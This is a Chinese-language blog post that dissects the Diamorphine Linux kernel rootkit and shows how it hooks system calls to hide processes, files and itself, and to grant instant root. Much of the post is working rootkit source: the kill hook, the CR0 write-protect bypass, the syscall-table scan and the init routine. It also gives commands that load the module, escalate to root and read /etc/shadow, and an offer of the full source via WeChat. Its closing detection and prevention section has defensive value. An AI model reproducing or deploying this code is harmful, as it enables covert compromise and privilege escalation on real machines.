Linux内核里的“隐形斗篷“:一个LKM级权限维持工具的全方位技术剖析
一、这玩意儿到底是啥简单来说这是一个住在Linux内核里的幽灵。它不像普通病毒那样在文件系统里晃悠而是直接钻进操作系统最核心的内核层相当于在你的系统心脏部位安了个后门遥控器。它能干嘛说出来挺吓人的让指定进程从ps、top、ls /proc这些命令里彻底消失就像从来没存在过让文件名以特定前缀开头的文件凭空隐身普通用户根本看不到按个魔法信号就能让普通用户瞬间变成超级管理员root自己把自己从系统模块列表里抹掉连lsmod都查不到它最狠的是它支持从2.6.x到6.x的几乎所有Linux内核版本x86和ARM64通吃兼容性做得相当专业。二、技术底子LKM是个啥要搞懂这玩意先得明白LKMLoadable Kernel Module可加载内核模块。Linux内核设计得挺灵活平时不需要把所有驱动都塞进内核占内存而是需要用时再插进去这就是模块机制。比如你插个U盘系统就加载usb-storage模块。问题在于这个机制本来是干正经事的但既然内核允许热插拔代码攻击者就能利用这个接口把自己的恶意代码当成驱动塞进去。一旦进去它就拥有了内核态的最高权限想干啥干啥。三、核心手法系统调用掉包计这个工具的核心战术叫System Call Hooking系统调用钩子。听起来高大上其实就是**“偷梁换柱”**。3.1 系统调用是啥你在Linux里执行任何操作比如查看进程ps、列出文件ls、结束程序kill最终都得经过系统调用这关。这是用户程序和内核之间的海关。内核里有一张表叫sys_call_table系统调用表存着所有系统调用的地址。比如getdents141号读取目录内容的底层函数kill62号发送信号的底层函数3.2 怎么调包这个工具的核心代码逻辑大概是这样的流程1. 找到sys_call_table的内存地址这是张只读的神圣表格 2. 想办法把表格的写保护关掉相当于撬开锁 3. 把表格里原来的函数地址替换成自己的假函数 4. 重新上锁假装什么都没发生具体看代码里的关键操作// 保存原始的系统调用地址orig_getdents__sys_call_table[__NR_getdents];orig_getdents64__sys_call_table[__NR_getdents64];orig_kill__sys_call_table[__NR_kill];// 关掉内存写保护x86架构就是操作cr0寄存器unprotect_memory();// 替换为自己的函数__sys_call_table[__NR_getdents](unsignedlong)hacked_getdents;__sys_call_table[__NR_getdents64](unsignedlong)hacked_getdents64;__sys_call_table[__NR_kill](unsignedlong)hacked_kill;// 恢复写保护protect_memory();这就好比邮局里有个分拣员系统调用原本老老实实分发信件。现在攻击者把分拣员换了换成自己人。表面上还在分拣但遇到特定信件比如查看某个敏感进程就直接把信件扔掉就当没看见。四、四大魔法的实现细节4.1 进程隐身术给进程贴隐身标签进程在内核里是用task_struct结构体表示的。这个结构体里有个flags字段。工具定义了一个特殊的标志位PF_INVISIBLE#definePF_INVISIBLE0x10000000当用户发送31号信号给某个进程时代码会把该进程的flags字段异或上这个标志caseSIGINVIS:// 31号信号task-flags^PF_INVISIBLE;break;然后在劫持的getdents函数里这个函数负责读取/proc目录下的进程列表代码会检查每个目录名也就是PID对应的进程是否带有PF_INVISIBLE标志if(procis_invisible(simple_strtoul(dir-d_name,NULL,10))){// 如果进程是隐身的就把这个目录项从结果里删掉prev-d_reclendir-d_reclen;// 跳过这一项}通俗理解相当于给进程戴了个夜视仪头盔系统管理员用常规手段ps、top永远看不到它因为查看进程列表的窗口被做了手脚。4.2 文件隐身术文件名黑魔法除了进程它还能隐藏文件。原理类似但更简单粗暴。它定义了一个魔法前缀比如diamorphine实际可以自定义。当你在getdents里遍历目录项时if(namelenstrlen(MAGIC_PREFIX)memcmp(MAGIC_PREFIX,dir-d_name,strlen(MAGIC_PREFIX))0){// 文件名以魔法前缀开头删了prev-d_reclendir-d_reclen;}效果所有以这个前缀开头的文件或目录用ls命令根本看不到但程序本身还能正常访问。4.3 权限提升一键变身root这是最让人后背发凉的功能。发送64号信号瞬间获得root权限caseSIGSUPER:// 64号信号give_root();break;give_root()函数干了什么它直接修改当前进程的凭证credentialsstructcred*newcredsprepare_creds();newcreds-uid.val0;// 用户ID设为0rootnewcreds-gid.val0;// 组ID设为0rootnewcreds-euid.val0;// 有效用户ID设为0// ... 各种ID都设为0commit_creds(newcreds);在Linux内核里uid0就是上帝。这个操作相当于直接伪造了一张上帝身份证而且内核承认这张身份证的有效性。4.4 模块自毁从系统里蒸发普通lsmod命令怎么工作的它读取的是内核里的模块链表。这个工具提供了一个自毁按钮——63号信号voidmodule_hide(void){module_previousTHIS_MODULE-list.prev;// 记住前一个模块list_del(THIS_MODULE-list);// 把自己从链表里删掉module_hidden1;}效果模块还在内存里运行但lsmod、/proc/modules都看不到它就像人间蒸发了一样。五、跨版本兼容的生存智慧这个工具最专业的地方在于它的版本适配能力。Linux内核2.6到6.x变化巨大很多内部API都变了。它是怎么活下来的5.1 条件编译大法代码里充斥着大量的版本判断#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)// 4.16版本后系统调用接口改成了统一的pt_regs参数typedefasmlinkagelong(*t_syscall)(conststructpt_regs*);#else// 老版本是分散的参数typedefasmlinkagelong(*orig_getdents_t)(unsignedint,structlinux_dirent*,unsignedint);#endif5.2 找系统调用表的土办法和洋办法新版本内核4.4有导出符号sys_call_table可以直接找。但老版本没有导出咋办它用了个暴力搜索的土办法for(i(unsignedlongint)sys_close;iULONG_MAX;isizeof(void*)){syscall_table(unsignedlong*)i;if(syscall_table[__NR_close](unsignedlong)sys_close)returnsyscall_table;// 找到了}原理是sys_close函数的地址是已知的而sys_call_table里__NR_close关闭文件的系统调用号位置存的就是sys_close的地址。在内核内存空间里暴力扫描直到找到这个匹配点就能确定表格基地址。5.3 不同架构的内存保护x86/x86_64架构通过CR0寄存器的WP位Write Protect控制内存写保护。修改系统调用表前要先清0这个位改完再恢复。ARM64架构更复杂用的是update_mapping_prot函数修改页表属性把只读内存临时改成可写。六、代码和流程全景图...asmlinkagelonghacked_kill(pid_tpid,intsig){#endifstructtask_struct*task;switch(sig){caseSIGINVIS:if((taskfind_task(pid))NULL)return-ESRCH;task-flags^PF_INVISIBLE;break;caseSIGSUPER:give_root();break;caseSIGMODINVIS:if(module_hidden)module_show();elsemodule_hide();break;default:#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)returnorig_kill(pt_regs);#elsereturnorig_kill(pid,sig);#endif}return0;}#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)staticinlinevoidwrite_cr0_forced(unsignedlongval){unsignedlong__force_order;asmvolatile(mov %0, %%cr0:r(val),m(__force_order));}#endifstaticinlinevoidprotect_memory(void){#ifIS_ENABLED(CONFIG_X86)||IS_ENABLED(CONFIG_X86_64)#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)write_cr0_forced(cr0);#elsewrite_cr0(cr0);#endif#elifIS_ENABLED(CONFIG_ARM64)update_mapping_prot(__pa_symbol(start_rodata),(unsignedlong)start_rodata,section_size,PAGE_KERNEL_RO);#endif}staticinlinevoidunprotect_memory(void){#ifIS_ENABLED(CONFIG_X86)||IS_ENABLED(CONFIG_X86_64)#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)write_cr0_forced(cr0~0x00010000);#elsewrite_cr0(cr0~0x00010000);#endif#elifIS_ENABLED(CONFIG_ARM64)update_mapping_prot(__pa_symbol(start_rodata),(unsignedlong)start_rodata,section_size,PAGE_KERNEL);#endif}staticint__initdiamorphine_init(void){__sys_call_tableget_syscall_table_bf();if(!__sys_call_table)return-1;#ifIS_ENABLED(CONFIG_X86)||IS_ENABLED(CONFIG_X86_64)cr0read_cr0();#elifIS_ENABLED(CONFIG_ARM64)update_mapping_prot(void*)resolve_sym(update_mapping_prot);start_rodata(unsignedlong)resolve_sym(__start_rodata);init_begin(unsignedlong)resolve_sym(__init_begin);#endifmodule_hide();tidy();#ifLINUX_VERSION_CODEKERNEL_VERSION(4,16,0)orig_getdents(t_syscall)__sys_call_table[__NR_getdents];orig_getdents64(t_syscall)__sys_call_table[__NR_getdents64];orig_kill(t_syscall)__sys_call_table[__NR_kill];#elseorig_getdents(orig_getdents_t)__sys_call_table[__NR_getdents];orig_getdents64(orig_getdents64_t)__sys_call_table[__NR_getdents64];orig_kill(orig_kill_t)__sys_call_table[__NR_kill];#endifunprotect_memory();__sys_call_table[__NR_getdents](unsignedlong)hacked_getdents;__sys_call_table[__NR_getdents64](unsignedlong)hacked_getdents64;__sys_call_table[__NR_kill](unsignedlong)hacked_kill;protect_memory();return0;}staticvoid__exitdiamorphine_cleanup(void){unprotect_memory();__sys_call_table[__NR_getdents](unsignedlong)orig_getdents;__sys_call_table[__NR_getdents64](unsignedlong)orig_getdents64;__sys_call_table[__NR_kill](unsignedlong)orig_kill;protect_memory();}module_init(diamorphine_init);module_exit(diamorphine_cleanup);If you need the complete source code, please add the WeChat number (c17865354792)[模块加载] │ ▼ [寻找sys_call_table] ──► [暴力扫描内存] 或 [解析符号] │ ▼ [关闭内存写保护] ──► [x86: 清CR0寄存器] / [ARM64: 改页表] │ ▼ [保存原始函数地址] ──► orig_getdents / orig_getdents64 / orig_kill │ ▼ [替换系统调用] ──► 指向自定义的hacked_*函数 │ ▼ [恢复内存写保护] │ ▼ [隐藏自身模块] ──► 从内核模块链表中删除 │ ▼ [清理痕迹] ──► 删除模块的section属性防止被检测运行时流程以隐藏进程为例用户执行 ps 命令 │ ▼ 调用getdents64系统调用 │ ▼ [hacked_getdents64接管] │ ▼ 先调用原始的orig_getdents64获取完整列表 │ ▼ 遍历每个目录项 ├── 检查是否是/proc目录进程目录 │ └── 是 ──► 检查该PID的task_struct是否带有PF_INVISIBLE标志 │ └── 是 ──► 从结果链表中删除这一项 │ └── 检查文件名是否以MAGIC_PREFIX开头 └── 是 ──► 从结果链表中删除这一项 │ ▼ [返回过滤后的结果给用户]七、功能测试指南加载模块植入Rootkit# 必须以root权限执行sudoinsmod diamorphine.ko# 验证是否加载注意加载后模块会立即隐身lsmod|grepdiamorphine# 输出为空正常因为它会自动隐藏自己测试文件隐藏功能# 创建一个以 diamorphine 开头的文件默认魔法前缀touchdiamorphine_secret.txttouchdiamorphine_backup.logtouchnormal_file.txt# 查看当前目录你会发现前两个文件消失了ls-la# 只能看到 normal_file.txt# 但直接用cat可以访问只是ls看不到catdiamorphine_secret.txt# 正常访问只是看不见测试进程隐藏功能# 终端1启动一个测试进程比如sleep 1000sleep1000# 记录PID假设是 1234echo$!# 终端2查看进程应该能看到psaux|grepsleep# 终端1发送信号31SIGINVIS隐藏该进程kill-311234# 终端2再次查看进程消失了psaux|grepsleep# top 里也看不到了# 但进程仍在运行只是被过滤掉了测试权限提升提权# 先切换到普通用户su- testuserwhoami# 显示 testuserid# uid1001(testuser) gid1001(testuser)# 发送信号64SIGSUPERkill-640# 检查身份瞬间变成rootid# uid0(root) gid0(root)whoami# root# 可以执行root命令了cat/etc/shadow测试模块显隐控制# 发送信号63让模块在lsmod中显现kill-630# 现在能看到模块了lsmod|grepdiamorphine# diamorphine 16384 0 - Live 0x...# 再发一次信号63再次隐藏kill-630lsmod|grepdiamorphine# 又看不见了高级检测与验证检查系统调用表是否被篡改# 安装systemtap或类似工具需要调试内核# 或者检查/proc/kallsyms中的系统调用地址# 查看sys_call_table如果内核允许sudocat/proc/kallsyms|grepsys_call_table# 对比kill、getdents的地址是否异常需要专业工具检测隐藏进程绕过Rootkit的过滤# 直接读取/proc目录绕过被劫持的getdentsls/proc/|grep-E^[0-9]$|sort-n# 或者使用unhide工具sudoaptinstallunhidesudounhide proc# 暴力扫描/proc查找隐藏进程# 查看内核线程可能发现异常psaux|awk$8 ~ /^D/ {print $0}# D状态进程检查模块残留# 查看内核日志模块加载会留下痕迹dmesg|tail-20# 或sudojournalctl-k|grepdiamorphine# 检查sysfs如果有的话ls/sys/module/|grepdiamorphine# 隐藏后可能看不到安全卸载与清理正常卸载流程# 步骤1先让模块显形如果处于隐藏状态sudokill-630# 步骤2确认模块可见lsmod|grepdiamorphine# 步骤3卸载模块sudormmod diamorphine# 步骤4验证卸载lsmod|grepdiamorphine# 应该无输出dmesg|tail-5# 查看卸载日志八、相关技术领域知识总结通过分析这个工具我们可以梳理出以下关键技术领域8.1 Linux内核机制系统调用System Call用户态与内核态的边界VFS虚拟文件系统/proc目录的实现原理进程调度task_struct结构体与进程标志位内存管理页表、写保护机制、CR0寄存器信号机制信号处理与自定义信号31、63、64号信号8.2 内核编程技术LKM编程module_init、module_exit、模块生命周期链表操作Linux内核的双向链表list_head内存操作kmalloc/kzalloc与copy_from_user/copy_to_user条件编译内核版本适配的LINUX_VERSION_CODE宏8.3 安全攻防领域Rootkit技术用户态Rootkit vs 内核态RootkitDKOMDirect Kernel Object Manipulation直接内核对象操作系统调用劫持SSDTSystem Service Descriptor TableHook反取证技术隐藏进程、隐藏文件、隐藏模块9.4 架构知识x86/x64架构保护模式、CR0-CR4控制寄存器、系统调用指令syscall/sysenterARM64架构异常级别EL0-EL3、页表属性、系统调用指令svc九、怎么防怎么查既然知道了原理防御就有方向1. 检测系统调用表篡改使用kprobes或ftrace监控sys_call_table的修改对比sys_call_table中的函数地址与原始地址需要内核符号表2. 检测隐藏进程不依赖/proc直接读取内核内存中的task_struct链表需要root使用unhide等工具进行交叉验证3. 检测隐藏模块检查sys_module相关的系统调用痕迹内存取证分析物理内存镜像查找异常的代码段4. 预防措施启用Secure Boot阻止未签名模块加载使用kernel.modules_disabled1sysctl参数生产服务器推荐部署**EDR端点检测与响应**工具监控内核异常行为总结这个工具展示了Linux内核可扩展性的双刃剑特性。模块机制本是Linux的优雅设计但在攻击者手里它成了最深层的隐匿据点。从技术学习角度它是理解系统调用机制、内核内存管理、进程调度原理的绝佳案例。但从安全角度这类工具的存在提醒我们一旦内核被攻破整个系统的信任根基就崩塌了。Welcome to follow WeChat official account【程序猿编码】